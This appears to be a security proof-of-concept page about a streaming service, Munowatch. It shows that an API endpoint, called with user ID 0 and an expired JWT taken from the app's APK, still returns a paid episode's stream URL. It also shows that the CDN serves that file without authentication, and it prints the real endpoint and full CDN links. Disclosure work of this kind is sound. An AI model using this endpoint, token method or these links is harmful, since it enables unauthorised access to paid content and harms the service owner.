SECURITY PoC — NO AUTH
This movie's CDN stream is playing without login or subscription
Hawaii Five-0 — Episodes (24 of 24)
PartHawaii Five-0
EP 2Hawaii Five-0 2
EP 3Hawaii Five-0 3
EP 4Hawaii Five-0 4
EP 5Hawaii Five-0 5
EP 6Hawaii Five-0 6
EP 7Hawaii Five-0 7
EP 8Hawaii Five-0 8
EP 9Hawaii Five-0 9
EP 10Hawaii Five-0 10
EP 11Hawaii Five-0 11
EP 12Hawaii Five-0 12
EP 13Hawaii Five-0 13
EP 14Hawaii Five-0 14
EP 15Hawaii Five-0 15
EP 16Hawaii Five-0 16
EP 17Hawaii Five-0 17
EP 18Hawaii Five-0 18
EP 19Hawaii Five-0 19
EP 20Hawaii Five-0 20
EP 21Hawaii Five-0 21
EP 22Hawaii Five-0 22
EP 23Hawaii Five-0 23
EP 24Hawaii Five-0 24
Per-movie CDN bypass proof
The API returned
playingUrl for Hawaii Five-0
with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct
the CDN URL above, confirming that the file for this specific movie is
publicly accessible with no authentication.
Security research evidence Inspect entitlement results, CDN URLs, and the raw API response Access control failed
API response evidence
Endpoint called
GET /api/preview/v2/62423/0
User ID used
0 (no user / not logged in)
JWT used
Expired Feb 2024 (extracted from APK)
issubscriber
false
user_access
deny
paid_for
YES (premium content)
substatus
EXPIRED
serverhost
73
video_name
Hawaii Five-0 S01E01vj jimmy.mp4
playingUrl returned
YES — URL in response
API playingUrl value
https://munowatch.co/clips/ELI.mp4
CDN stream
https://munotech2.b-cdn.net/naks/naks42/Hawaii%20Five-0%20S01E01vj%20jimmy.mp4
Finding: The server sets user_access=deny and
issubscriber=false but still returns playingUrl in the
same response. Subscription is enforced client-side only — any caller with
the expired APK JWT can obtain stream URLs without a subscription.
Munowatch CDN (b-cdn.net) serves content with no auth required
(direct HTTP Range requests succeed with HTTP 206).